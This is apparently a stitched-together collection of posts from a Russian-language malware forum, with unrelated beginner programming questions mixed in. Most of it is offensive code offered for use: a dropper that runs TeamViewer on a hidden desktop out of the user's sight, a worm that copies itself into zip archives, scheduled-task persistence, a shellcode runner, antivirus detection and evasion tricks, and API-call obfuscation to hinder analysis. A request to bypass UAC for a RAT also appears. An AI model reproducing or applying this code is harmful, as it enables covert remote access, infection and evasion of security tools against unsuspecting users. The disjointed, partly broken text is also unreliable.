Для начала произведем загрузку Тимвувера - очень будет интересно посмотреть как антивирус в нашем случае Дефендер будет ругаться на весь наш говнокод, и на загрузку при этом подписанного и доверенного приложения, но при этом загружаемого из самой юзанной школьниками функции для загрузки файла, и запускаемого на скрытом рабочем столе (на самом деле это не очень даже скрытый рабочий стол, а фишка винды еще с win xp, которая так и не вошла в обиход, в отличии от unix).
объявляем переменные под наши манипуляции
Code:Copy to clipboard
char* appdatap = new char[512];
char* zippdata = new char[512];
char* tvfolder = new char[512];
char* tvsceen = new char[512];
получаем путь до %appdata% и к этому пути конкатинируем название нашего будущего зип-архивчека
Code:Copy to clipboard
if (SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, appdatap)))
{
lstrcpyA(zippdata, appdatap);
lstrcatA(zippdata, XorString("\\tv.zip"));
скачаем по школьному...
Code:Copy to clipboard
if (S_OK == URLDownloadToFileA(NULL, XorString("https://github.com/****/****/raw/main/tv.zip"), zippdata, 0, NULL))
{
и результат такой скачки - не палится обновленным дефендером, поздравляю! те обыкновенный дроппер - не является вирусным, какие либо функции он не использовал - если скачиваемое легитимно
создаем имя нашей будущей папки для разархивированных файлов тимвувера
Code:Copy to clipboard
lstrcpyA(tvfolder, appdatap);
lstrcatA(tvfolder, XorString("\\tv\\"));
и распаковываем
Code:Copy to clipboard
if (zip_extract(zippdata, tvfolder, NULL, NULL) >= 0)
{
итак, мы приходим к выводу, что обычный дроппер - вполне себе легитимных файлов - не вызывает детектов, видимо все таки реализация конкретного антивируса завязана либо на анализ CreateFile или NtCreateFile, запоминаем этот факт и двигаем дальше.... те кто вышел в окно с системным блоком, медленно поднимаются по лестнице к себе в квартиру. Теперь по плану у нас самая интересная часть представления, а именно создание скрытого рабочего стола, на котором мы и будем запускать наши программы, в тайне от пользователя.
Попробуем открыть скрытый рабочий стол функой OpenDesktopA , запомните что deskname - это уникальное имя для рабочего стола. Если такой рабочий стол не открылся - то самое время его создать с помощью - CreateDesktopA, так же указываем уникальное имя deskname. Но если и он по какой то причине не создался можно сворачивать лавочку и закрывать приложение.
Code:Copy to clipboard
HDESK hidden_desktop = OpenDesktopA(deskname, NULL, FALSE, GENERIC_ALL);
if (!hidden_desktop)
{
hidden_desktop = CreateDesktopA(deskname, NULL, NULL, 0, GENERIC_ALL, NULL);
if (!hidden_desktop)
{
exit(0);
}
printf("desktop created!\n");
}
printf("desktop open!\n");
Получив хендл нашего нового рабочего стола переходим в него
Code:Copy to clipboard
if (SetThreadDesktop(hidden_desktop))
{
А теперь можем запускать любой нужный нам софт на скрытом рабочем столе, я дернул файлики портабельного тимвувера, и сделал при этом минимальную работоспособную сборку
К сожалению сейчас нет сайта vxlab.info на котором вы бы могли увидеть
цикл статей про создание по настоящему скрытого тимвувера , со скрытием всех
окошек, всплывающих уведомлений, и вообще очень качественный материал по
поиску уязвимостей в любых софтах. Очень рекомендую. Прям очень. Почитайте
обязательно. Но а мы возращаемся к нашим кодесам. Запустим на скрытом рабочем
столе экплорер, что бы он у нас в будущем хотя бы был:
Code:Copy to clipboard
ExpandEnvironmentStringsA(XorString("%windir%\\explorer.exe"), explorer_path, MAX_PATH - 1);
....
if (CreateProcessA(explorer_path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startup_info, &process_info))
{
А еще не помещает получить путь до нашего экзешника тимвувера и запустить его как запускали эксплорер
Code:Copy to clipboard
lstrcatA(tvfolder, XorString("TeamViewer.exe"));
if (CreateProcessA(tvfolder, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
{
Процесс благополучно запускается... Запустился и на основном рабочем столе - я лично ничего не вижу. Где же открылось окошко? Куда оно делось то! Ну да оно на скрытом рабочем столе, как же мы его увидим, ребята. Давайте попробуем как нибудь его найти окно хотя бы:
Code:Copy to clipboard
HWND TeamViewer = NULL;
while (TRUE)
{
if (NULL != (TeamViewer = FindWindowA(NULL, XorString("TeamViewer"))))
{
break;
}
Sleep(1000);
}
После того как мы обнаружили окошко, давайте постараемся сделать с него скрин:
Spoiler: Много кода
Code:Copy to clipboard
RECT DesktopParams;
GetWindowRect(TeamViewer, &DesktopParams);
HDC DevC = GetDC(TeamViewer);
DWORD Width = DesktopParams.right - DesktopParams.left;
DWORD Height = DesktopParams.bottom - DesktopParams.top;
DWORD FileSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + (sizeof(RGBTRIPLE) + 1 * (Width * Height * 4));
char* BmpFileData = (char*)GlobalAlloc(0x0040, FileSize);
PBITMAPFILEHEADER BFileHeader = (PBITMAPFILEHEADER)BmpFileData;
PBITMAPINFOHEADER BInfoHeader = (PBITMAPINFOHEADER)&BmpFileData[sizeof(BITMAPFILEHEADER)];
BFileHeader->bfType = 0x4D42;
BFileHeader->bfSize = sizeof(BITMAPFILEHEADER);
BFileHeader->bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
BInfoHeader->biSize = sizeof(BITMAPINFOHEADER);
BInfoHeader->biPlanes = 1;
BInfoHeader->biBitCount = 24;
BInfoHeader->biCompression = BI_RGB;
BInfoHeader->biHeight = Height;
BInfoHeader->biWidth = Width;
RGBTRIPLE* Image = (RGBTRIPLE*)&BmpFileData[sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER)];
RGBTRIPLE color;
HDC CaptureDC = CreateCompatibleDC(DevC);
HBITMAP CaptureBitmap = CreateCompatibleBitmap(DevC, Width, Height);
SelectObject(CaptureDC, CaptureBitmap);
if (PrintWindow(TeamViewer, CaptureDC, 0))
{
BitBlt(DevC, 0, 0, Width, Height, CaptureDC, 0, 0, SRCCOPY | CAPTUREBLT);
GetDIBits(CaptureDC, CaptureBitmap, 0, Height, Image, (LPBITMAPINFO)BInfoHeader, DIB_RGB_COLORS);
DWORD Junk;
HANDLE FH = CreateFileA(tvsceen, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, 0, 0);
WriteFile(FH, BmpFileData, FileSize, &Junk, 0);
CloseHandle(FH);
GlobalFree(BmpFileData);
}
}
И сохраняем этот скрин в папку с тимкой. Тимка теперь будет очень рад!
Давайте запустим наше чудо-юдо и посмотри что получилось:
А теперь наберите в грудь воздуха, обязательно отпейте чая, и прочитайте спойлер ниже:
Spoiler: Очень важный спойлер
Эта сука не подключается к клиенту!!! В топку её в самое пекло ада! Ave Satani
Мы двигались семимильными шагами точно к провалу, использовали функции которые нельзя было использовать - но каким то чудестным чудом обходили дефендер, мы запускали на рабочем столе, то что никогда не должно было там работать... И вы думате на этом всё?
Windows Kernel Programming by Pavel Yosifovich
В этом разделе буду публиковать перевод [этой](https://www.amazon.com/Windows- Kernel-Programming-Pavel-Yosifovich/dp/1977593372) книги. Оригинал я залил на мегу.
В книге всего 11 глав:
Ссылка :
Mega
Формат : Pdf
Размер : 5.1 MB
Из интереса написал либу для динамического импорта win-api.
pkg/go_pe - парсер PE-формата. Основан на либе github.com/Velocidex/go-pe,
правда я её чуток переписал - в ориг. либе все смещения высчитываются
относительно файла, что, в моём случае, было не нужно. Ну и обрезал ненужные
функции.
pe, err := go_pe.NewPEFile(reader io.ReadAt)
, где reader
- интерфейс с
методом ReadAt(buff []byte, offset int64) (countReaded int, err error)
который просто читает данные по смещению offset и возвращает кол-во
прочитанных байт, пример:
C:Copy to clipboard
type Module uintptr
func (m Module) ReadAt(p []byte, off int64) (n int, _ error) {
if off == -1 {
return 0, errors.New("negative offset")
}
n = len(p)
m = Module(int64(m) + off)
for i := 0; i < n; i++ {
p[i] = *((*byte)(unsafe.Pointer(m + Module(i))))
}
return n, nil
}
pkg/dyn_win_api - кастомная реализация GetModuleHandle (парсинг PEB->Ldr) и
GetProcAddress (парсинг экспорта загруженного модуля, форварды
поддерживаются), ну и небольшая обёртка над всем этим делом.
internal/winapi - пример реализации конечного враппера для дальнейшего
удобного использования.
internal/app - пример использования (простой месседж бокс):
C:Copy to clipboard
package app
import (
"win/internal/winapi"
)
func Run() {
w := winapi.NewWinApi()
w.MessageBox(0, "text", "caption", 0)
}
Сборка - просто запускаем батник build_win32_gui.bat,.
В общем-то и всё. Пример забивания гвоздей тапком, но может кому пригодиться.
Так же если кому-нибудь будет интересно - напишу простенькую малварку на го
(по типу клиппера/криптора), если будет время. Так же исходники выложу.
Опять я со своими вопросами.
Code:Copy to clipboard
#include <iostream>
#include <conio.h>
using namespace std;
int main()
{
char name[15];
cout << " Welcome\n Please enter Your name:\n";
cin >> name;
cout << "Hello " << name;
cout << "\n Decode the number: 442777777999\n And then enter the decoded word\n";
char pass[6];
cout << " The word is: ";
cin >> pass;
if ( pass = harry )
{
cout << " \nNice job, You have made it!\n Greetings for you " << name << " from Me\n :) ";
}
else
{
cout << "\n Sorry, wrong word, try next time.";
}
getch();
}
Не компилируется, не нравится ему if. Что за нафиг? И вопрос ещё, как сдлеть, что если человек неправильно написал, что бы после этого возращался к
Code:Copy to clipboard
cout << " The word is: ";
И делал всё дальше как и надо, если бы запустили первый раз.
Гы, вотЬ собственно и вопрос для размышления...
имеется вот такой вот код
Code:Copy to clipboard
class MethodView
{
public string[] name;
public string[] value;
public int iCount;
public MethodView(Type type)
{
// Type type = typeof(args);
PropertyInfo[] apropinfo = type.GetProperties();
iCount = 0;
foreach (PropertyInfo pi in apropinfo)
{
if (pi.CanRead && pi.GetGetMethod().IsStatic)
iCount++;
}
name = new string[iCount];
value = new string[iCount];
iCount = 0;
foreach (PropertyInfo pi in apropinfo)
{
if (pi.CanRead && pi.GetGetMethod().IsStatic)
{
name[iCount] = pi.Name;
value[iCount] = pi.GetValue(type, null).ToString();
iCount++;
}
}
Array.Sort(name, value);
}
}
собственно говоря в конструктор данного класса передается typeof от пространства имен :о)...
Но хочется как-то сделать так, чтобы можно было спрашивать у пользователя пространство имен, в котором он хочет вытащить все методы и их значения. Тобишь передавать строчку... но вопрос, как тогда взять typeof от значения, которое храниться в строчке, да еще и преобразовать его как-то в указатель на пространство имен :о) гы, сам не понял что сказал...
Ваши варианты ;о)... ваши идеи :о)...
Ну а что, будем изучать C#...
Hi everyone, I made a RAT in c++ that bypass all the anti viruses in
VirusTotal.
but when the victim installs the RAT the UAC tell him that the publisher is
not recognized.
how can I bypass it?
В общем то вопрос в шапке, надеюсь тут найдется человек который подскажет ответ
Всем привет, вот функция которая должна получать пискли созданного нового рабочего стола:
#include <windows.h>
int main()
{
HDESK g_hDesk;
BITMAPINFOHEADER g_sImageInfo = {};
char* g_pImageBits = 0;g_hDesk = OpenDesktopA("novij rabochij stol", 0, TRUE, GENERIC_ALL);
if (!g_hDesk)
g_hDesk = CreateDesktopA("novij rabochij stol", NULL, NULL, 0, GENERIC_ALL, NULL);
SetThreadDesktop(g_hDesk);HWND hWnd = GetDesktopWindow();
RECT rc;
GetClientRect(hWnd, &rc);
int cx = rc.right - rc.left;
int cy = rc.bottom - rc.top;if (!g_pImageBits || (g_sImageInfo.biWidth != cx) || (g_sImageInfo.biHeight != cy))
{
if (g_pImageBits)
free(g_pImageBits);int line = cx * 4;
int size = cy * line;
g_pImageBits = (char*)malloc(size);g_sImageInfo.biSize = sizeof(g_sImageInfo);
g_sImageInfo.biWidth = cx;
g_sImageInfo.biHeight = cy;
g_sImageInfo.biPlanes = 1;
g_sImageInfo.biBitCount = 32;
g_sImageInfo.biCompression = BI_RGB;
g_sImageInfo.biSizeImage = size;
}HDC hDc = GetDC(NULL);
HDC hMemDc = CreateCompatibleDC(hDc);
HBITMAP hMemBitmap = CreateCompatibleBitmap(hDc, cx, cy);
HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemDc, hMemBitmap);
BitBlt(hMemDc, 0, 0, cx, cy, hDc, rc.left, rc.top, SRCCOPY);
SelectObject(hMemDc, hOldBitmap);
GetDIBits(hDc, hMemBitmap, 0, cy, g_pImageBits, (BITMAPINFO*)&g_sImageInfo, DIB_RGB_COLORS);
DeleteObject(hMemBitmap);
DeleteDC(hMemDc);
ReleaseDC(hWnd, hDc);
}Click to expand...
g_pImageBits равняется NULL после выполнения функции
В общем-то, был в поисках актуального метода закрепа в системе.
CurrentVersion\Run(Once) такая себе затея, решил попробовать через планировщик
закрепиться.
Но, как оказалось, без админ-прав задание не создать, хотя если создавать
через schtasks.exe - можно и из-под юзера.
C:Copy to clipboard
HRESULT SetStartupTask(LPCWSTR path, LPCWSTR taskName)
{
HRESULT hRes = S_OK;
ITaskService* taskService = nullptr;
ITaskFolder* taskFolder = nullptr;
ITaskDefinition* taskDef = nullptr;
IActionCollection* actions = nullptr;
ITriggerCollection* triggers = nullptr;
IRegisteredTask* task = nullptr;
do
{
hRes = CoInitialize(nullptr,);
if (FAILED(hRes)) break;
hRes = CoCreateInstance(CLSID_TaskScheduler, nullptr, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&taskService);
if (FAILED(hRes)) break;
hRes = taskService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
if (FAILED(hRes)) break;
hRes = taskService->GetFolder(_bstr_t(L"\\"), &taskFolder);
if (FAILED(hRes)) break;
hRes = taskService->NewTask(0, &taskDef);
if (FAILED(hRes)) break;
hRes = taskDef->get_Actions(&actions);
if (SUCCEEDED(hRes))
{
IAction* action = nullptr;
hRes = actions->Create(TASK_ACTION_EXEC, &action);
if (SUCCEEDED(hRes))
{
IExecAction* execAction = nullptr;
hRes = action->QueryInterface(IID_IExecAction, (void**)&execAction);
if (SUCCEEDED(hRes))
{
hRes = execAction->put_Path(_bstr_t(path));
execAction->Release();
}
action->Release();
}
actions->Release();
}
hRes = taskDef->get_Triggers(&triggers);
if (SUCCEEDED(hRes))
{
ITrigger* trigger = nullptr;
hRes = triggers->Create(TASK_TRIGGER_LOGON, &trigger);
if (SUCCEEDED(hRes))
{
ILogonTrigger* logonTrigger = nullptr;
hRes = trigger->QueryInterface(IID_ILogonTrigger, (void**)&logonTrigger);
if (SUCCEEDED(hRes))
{
hRes = logonTrigger->put_Id(_bstr_t(L"Default"));
logonTrigger->Release();
}
trigger->Release();
}
triggers->Release();
}
hRes = taskFolder->RegisterTaskDefinition(_bstr_t(taskName), taskDef, TASK_CREATE_OR_UPDATE, _variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(), &task);
} while (FALSE);
if (taskService) taskService->Release();
if (taskFolder) taskFolder->Release();
if (taskDef) taskDef->Release();
if (task) task->Release();
CoUninitialize();
return hRes;
}
P.S советую обратить внимание на COM Hijaking.
Стоит вот какая задачка:
Есть у винды файлик ntoskrnl.exe
и есть в нем функция ZwConvertBetweenPerformanceCounter
а внутри вызывается xKdEnumerateDebuggingDevices по указателю.
Научите, покажите, продайте (еще ваши варианты) решения подмены указателя на ту самую функцию xKdEnumerateDebuggingDevices чтобы в итоге вызывалась подмененная функция драйвера... Там еще 3 параметра передается в нее.
В общем такой вот хук нужно сделать а мозгов не хватает.
А в идеале нужно найти другую функцию и хук делать в другое место. Если кто-то
из вас может написать вот такой вот драйвер, помогите.
Цель - научиться.
Еще цель найти партнера. Не малварь. Все безобиднее.
Версия сборки винды 2004, 1909, 1903
What are some good malware sources to read/study to learn from? I've been told that Zeus is incredibly well written and is good for studying however it is a bit outdated. Any other sources or recommendations?
Всем привет, нужно соединится с сервером и передать большое количество данных(оклоло 200мб) нужно делать все асинхронно. Наведите на какие небыли примеры/документацию, сам что то ничего не нахожу
Добрый день господа. Хотелось бы изучить c++ для дальнейшей разработки читов под игры. С программированием сталкиваюсь не первый раз, и немного понимаю что, и как. Но, хотелось бы узнать, с чего начать, и как лучше развиваться с этой сфере. Заранее спасибо. +PS: Возможно, может лучше начать изучение с C#, или не надо.
Решил окунуться в программирование на C++ и сталкнулся с первыми проблемами:
C++:Copy to clipboard
#include "windows.h"
void main()
{/*
HANDLE FileHandle;
DWORD R;
DWORD Size;
char Line[781];
FileHandle = CreateFileA("C:\\Temp\\shellcode.txt", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
Size = GetFileSize(FileHandle, &Size);
ReadFile(FileHandle, Line, Size, &R, NULL);
Здесь как я понимаю должно быть какое то приведение типов char Line[781] > const char shellcode[]
*/
// https://packetstormsecurity.com/files/156478/Windows-x86-Null-Free-WinExec-Calc.exe-Shellcode.html
const char shellcode[] =
"\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b"
"\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3"
"\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24"
"\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14"
"\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18"
"\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74"
"\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41"
"\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52"
"\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51"
"\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff"
"\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f"
"\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2"
"\x52\xff\xd0";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (shellcode_exec) {
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
}
}
}
Как запустить полученный извне шелкод?
Мне кажется дело в том что const char = signed char
Code:Copy to clipboard
Type | range
-------------------------------
signed char | -128 to +127
unsigned char | 0 to 255
слышал вот про это
button1.PerformClick();
но куда его добавить в этот код?помогите кому не сложно,нужно чтобы кнопка Login сама нажималась
вот код
C#:Copy to clipboard
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
namespace test
{
public partial class MainForm : Form
{
private void Btn_Login_Click(object sender, EventArgs e)
{
if (this._api.IsConnected())
{
try
{
this.LogIn();
return;
}
catch (Exception ex)
{
this.Txt_Error.Text = ex.Message;
this.Txt_Error.Visible = true;
return;
}
}
this.LoadError();
}
}
}
Привет, скрипт-кидди брат. Сегодня я покажу тебе Proof-Of-Concept мини-червя, который добавляет себя во все .zip архивы.
Начнём.
Логика нашего червя:
Первым делом создадим новый метод, который будет принимать 2 аргумента - папку для заражения и файл, который будем добавлять в архив:
И создаём рекурсивный метод, который будет заражать все подпапки:
C#:Copy to clipboard
string currentFilePath = Assembly.GetExecutingAssembly().Location,
desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
Затем вызываем методы:
C#:Copy to clipboard
zipInfect(new DirectoryInfo(desktopPath), currentFilePath); // Заражаем архивы на рабочем столе
recursiveInfect(desktopPath, currentFilePath); // И в подпапках
И теперь тестим:
Как видим, в архивах появился наш файлик.
написал программу для винды, как сделать так что бы не было никакой информации о кодере, его пк и тд
Всем привет. Подскажите пожалуйста, где найти актуальный ntdll.h с нормальными определениями структур
Привет всем, читающим этот тред. Подкиньте пожалуйста сорцы не EOF билдера, загорелся созданием консольной утилиты для сборки своего софта. Спасибо.
C:Copy to clipboard
#include <wbemidl.h>
#include <comutil.h>
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "comsuppw.lib")
HRESULT GetInstalledAvName(LPSTR installedAv)
{
HRESULT hr = S_OK;
hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr))
{
return hr;
}
hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, EOAC_NONE, NULL);
if (FAILED(hr))
{
CoUninitialize();
return hr;
}
IWbemLocator* pWbemLocator = NULL;
hr = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pWbemLocator);
if (FAILED(hr))
{
CoUninitialize();
return hr;
}
IWbemServices* pWbemServices = NULL;
//в вин версиях ниже 7, вместо "root\\SecurityCenter2" - "\root\SecurityCenter", не проебитесь.
//как получить версию винды смотрите в соседней теме
hr = pWbemLocator->ConnectServer(_bstr_t(L"root\\SecurityCenter2"), NULL, NULL, 0, NULL, 0, NULL, &pWbemServices);
if (FAILED(hr))
{
pWbemLocator->Release();
CoUninitialize();
return hr;
}
IEnumWbemClassObject* pEnum;
hr = pWbemServices->ExecQuery(bstr_t("WQL"), bstr_t("Select * From AntivirusProduct"), WBEM_FLAG_FORWARD_ONLY, NULL, &pEnum);
if (FAILED(hr))
{
pWbemLocator->Release();
pWbemServices->Release();
CoUninitialize();
return hr;
}
ULONG uObjectCount = 0;
IWbemClassObject* pWmiObject;
hr = pEnum->Next(WBEM_INFINITE, 1, &pWmiObject, &uObjectCount);
if (FAILED(hr))
{
pWbemLocator->Release();
pWbemServices->Release();
pEnum->Release();
return hr;
}
VARIANT vtProp;
hr = pWmiObject->Get(L"displayName", 0, &vtProp, 0, 0);
if (FAILED(hr))
{
pWbemLocator->Release();
pWbemServices->Release();
pEnum->Release();
pWmiObject->Release();
return hr;
}
lstrcatA(installedAv, _com_util::ConvertBSTRToString(vtProp.bstrVal));
return TRUE;
}
Использование:
C:Copy to clipboard
int main()
{
static char installedAv[100];
HRESULT hr = S_OK;
hr = GetInstalledAvName(installedAv);
if (FAILED(hr))
{
printf("Getting installedAv error\n");
}
printf("installedAv = %s\n", installedAv);
return 0;
}
Тупо перелопатил пример с msdn, мб кому пригодится:
Hidden content for authorized users.
C:Copy to clipboard
HRESULT GetWinVer(LPSTR winVer)
{
HRESULT hres;
hres = CoInitializeEx(0, COINIT_MULTITHREADED);
if (FAILED(hres))
{
return hres;
}
hres = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, EOAC_NONE, NULL);
if (FAILED(hres))
{
CoUninitialize();
return hres;
}
IWbemLocator* pLoc = NULL;
hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);
if (FAILED(hres))
{
CoUninitialize();
return hres;
}
IWbemServices* pSvc = NULL;
hres = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);
if (FAILED(hres))
{
pLoc->Release();
CoUninitialize();
return hres;
}
hres = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL,
RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);
if (FAILED(hres))
{
pSvc->Release();
pLoc->Release();
CoUninitialize();
return hres;
}
IEnumWbemClassObject* pEnumerator = NULL;
hres = pSvc->ExecQuery(bstr_t("WQL"), bstr_t("SELECT * FROM Win32_OperatingSystem"),
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);
if (FAILED(hres))
{
pSvc->Release();
pLoc->Release();
CoUninitialize();
return hres;
}
IWbemClassObject* pclsObj = NULL;
ULONG uReturn = 0;
while (pEnumerator)
{
HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1,
&pclsObj, &uReturn);
if (uReturn == 0)
{
break;
}
VARIANT vtProp;
hr = pclsObj->Get(L"Version", 0, &vtProp, 0, 0);
lstrcatA(winVer, _com_util::ConvertBSTRToString(vtProp.bstrVal));
VariantClear(&vtProp);
pclsObj->Release();
}
pSvc->Release();
pLoc->Release();
pEnumerator->Release();
CoUninitialize();
return hres;
}
Использование:
C:Copy to clipboard
int main(int argc, char** argv)
{
static char winVer[100];
if (FAILED(GetWinVer(winVer)))
{
return 1;
}
wcout << "WinVer: " << winVer << endl;
return 0;
}
Вопрос такой назрел, собственно, почему используют сисколлы для обхода юм
хуков, если можно выполнить анхук всей dll.
Например ntdll.dll
В чем преимущества сисколлов? Или я чего то не знаю? Если объективно проще и универсальнее этот способ.
UPD. При таком подходе
Ребят, нужны исходники с# на обход защиты, буду рад любой помощи
p.s. Начинающий кодер
Прошу делиться методами обхода AV через исходники в C++
вот мой первый метод
в начале файла добавляем рандомизированную функцию задержки + вычисление
C++:Copy to clipboard
int n = rand() % 10;
int r = 1;
if (n == 0);
r = +11;
r = n * 400;
Sleep(155);
if (n == 1);
r = +12;
r = n * 300;
Sleep(145);
if (n == 2);
r = +13;
r = n * 200;
Sleep(135);
if (n == 3);
r = +14;
r = n * 190;
Sleep(125);
if (n == 4);
r = +15;
r = n * 180;
Sleep(115);
if (n == 5);
r = +16;
r = n * 160;
Sleep(105);
if (n == 6);
r = +17;
r = n * 150;
Sleep(85);
if (n == 7);
r = +18;
r = n * 140;
Sleep(65);
if (n == 8);
r = +19;
r = n * 130;
Sleep(55);
if (n == 9);
r = +20;
r = n * 120;
Sleep(45);
if (n == 10);
r = +21;
r = n * 110;
Sleep(35);
Возможно ли создать x86 процесс из-под x64 процесса или наоборот, используя
какие-либо недокументированные функции?
насколько я понимаю NtCreateProcess этого сделать не может
Здравствуйте, многоуважаемые форумчане.
Сегодня я хочу поведать вам о банальной технологии обфускации API вызвов.
Эта методика сильно усложнит жизнь начинающему реверсеру и немного уменьшит
вес вашего софта.
Для того, что бы скрыть вызовы WinApi функций из под нашей программы - мы
будем парсить таблицу экспорта нужных нам библиотек своими ручками.
Думаю, у вас сейчас есть один вопрос - а как мы получим дескриптор нужной нам
библиотеки?
Всё просто. В каждый процесс в ОС Windows по дефолту грузятся несколько
библиотек. Основные - Kernel32.dll и Ntdll.dll , в зависимости от
нахождения в эмуляции ( Wow64 ) могут грузиться и другие,
однако это нам не нужно в контексте данного гайда.
В системе Windows есть структура под названием PEB. ( Process Environment
Block , блок информации о процессе. Подробнее -
https://en.wikipedia.org/wiki/Process_Environment_Block
)
Оттуда мы сможем взять дескриптор модуля Kernel32.dll , подтянуть из его
таблицы экспорта LoadLibrary , а затем грузить нужные нам библиотеки,
доставая из них нужные функции.
Для некоторых вышеописанное может показаться сложной задачей, однако поверьте,
всё банально проосто. Сейчас я вам это наглядно покажу.
Давайте напишем функцию, которая вернёт нам дескриптор модуля Kernel32.dll.
Code:Copy to clipboard
HMODULE GetKernel32()
{
__asm
{
mov ebx, FS:[0x30] // PEB для 32-битных приложений всегда лежит в регистре FS по смещению 0x30, получаем его.
mov ebx, [ebx + 0x0C] // Получаем указатель на структуру PEB_LDR_DATA.
mov ebx, [ebx + 0x14] // Получаем указатель на первую запись в InMemoryOrderModuleList.
mov ebx, [ebx] // Получаем указатель на вторую запись в InMemoryOrderModuleList. ( ntdll.dll )
mov ebx, [ebx] // Получаем указатель на третью запись в InMemoryOrderModuleList. ( kernel32.dll )
mov eax, [ebx + 0x10] // Получаем адрес нужного нам модуля.
}
}
Теперь давайте приступим к реализации самой функции для парсинга таблицы экспорта нужных нам модулей.
В диком виде в основном функции ищут по хешам от их названий, однако я не буду усложнять задачу и дабы всем был понятен посыл статьи - сделаю проще. Искать будем по их названиям.
Садимся кодить, в процессе написания функции буду оставлять в ней коментарии, дабы смысл был понятен всем :
Code:Copy to clipboard
LPVOID pGetProcAddress(
IN HMODULE hModule,
IN LPSTR lpFunctionName
)
{
if (hModule == NULL || lpFunctionName == NULL) return NULL; // Если один из параметров равен нулю - возвращаем ноль.
PIMAGE_DOS_HEADER IDH = (PIMAGE_DOS_HEADER)hModule; // Получаем указатель на DOS заголовок модуля. Подробнее - тут : https://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html
PIMAGE_NT_HEADERS INH = (PIMAGE_NT_HEADERS)((DWORD)IDH + IDH->e_lfanew); // Получаем указатель на NT заголовок модуля. Подробнее - тут : https://www.nirsoft.net/kernel_struct/vista/IMAGE_NT_HEADERS.html
// P.S : e_lfanew - зарахдкоренное смещение до NT заголовка.
PIMAGE_EXPORT_DIRECTORY IED = (PIMAGE_EXPORT_DIRECTORY)((DWORD)IDH + INH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // Получаем указатель на таблицу экспорта модуля.
PDWORD AddressOfFunctions = (PDWORD)((DWORD)IDH + IED->AddressOfFunctions); // Получаем указатель на таблицу с адресами функций.
PDWORD AddressOfNames = (PDWORD)((DWORD)IDH + IED->AddressOfNames); // Получаем указатель на таблицу с именами функций.
PWORD AddressOfNameOrdinals = (PWORD)((DWORD)IDH + IED->AddressOfNameOrdinals); // Получаем указатель на таблицу с порядковыми номерами функций. ( Ординалами ).
DWORD dwOrdinal = 0; // Сюда будет ложится порядковый номер функции.
// Теперь проходимся в цикле по списку имён функций, экспортируемых данным модулем.
for (DWORD i = 0; i < IED->NumberOfNames; i++)
{
LPSTR lpApiName = (LPSTR)((DWORD)IDH + AddressOfNames[i]); // Получаем имя текущей функции.
if (strcmp(lpFunctionName, lpApiName) == 0) // Если имя текущей идентично имени функции, которую мы ищем - сохраняем её порядковый номер и выходим из цикла.
{
